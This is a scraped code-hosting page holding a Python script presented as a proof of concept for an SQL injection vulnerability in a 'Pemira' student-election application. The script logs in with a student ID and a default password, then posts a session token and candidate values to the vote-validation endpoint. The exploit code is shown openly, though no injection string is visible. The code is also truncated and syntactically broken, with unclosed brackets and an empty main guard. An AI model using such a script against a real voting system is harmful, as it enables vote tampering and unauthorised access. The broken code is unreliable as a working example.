PoC for Pemira Development Application SQLi Vulnerability
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

32 lines
855 B

import requests
from PemiraHelper import login, PemiraParser, ID_BALMA, ID_SEMA
HOST = ""
NIM = "180010100"
def main():
parser = PemiraParser()
with requests.Session() as conn:
login_page = conn.post("http://%s/authenticate.php" % HOST, allow_redirects=True, data={
"nim": NIM,
"pass": "password",
"formSubmit": "Login"})
index_page = conn.get("http://%s" % HOST, allow_redirects=False)
voting_page = conn.post("http://%s/validate.php" % HOST, allow_redirects=False, data={
"token_": parser.TOKEN,
"senat": "JLamqe5q-KTU3vVnd",
"balma": "BVmJxh6E-S9af54pY",
"formSubmit": "Submit"
if __name__ == '__main__':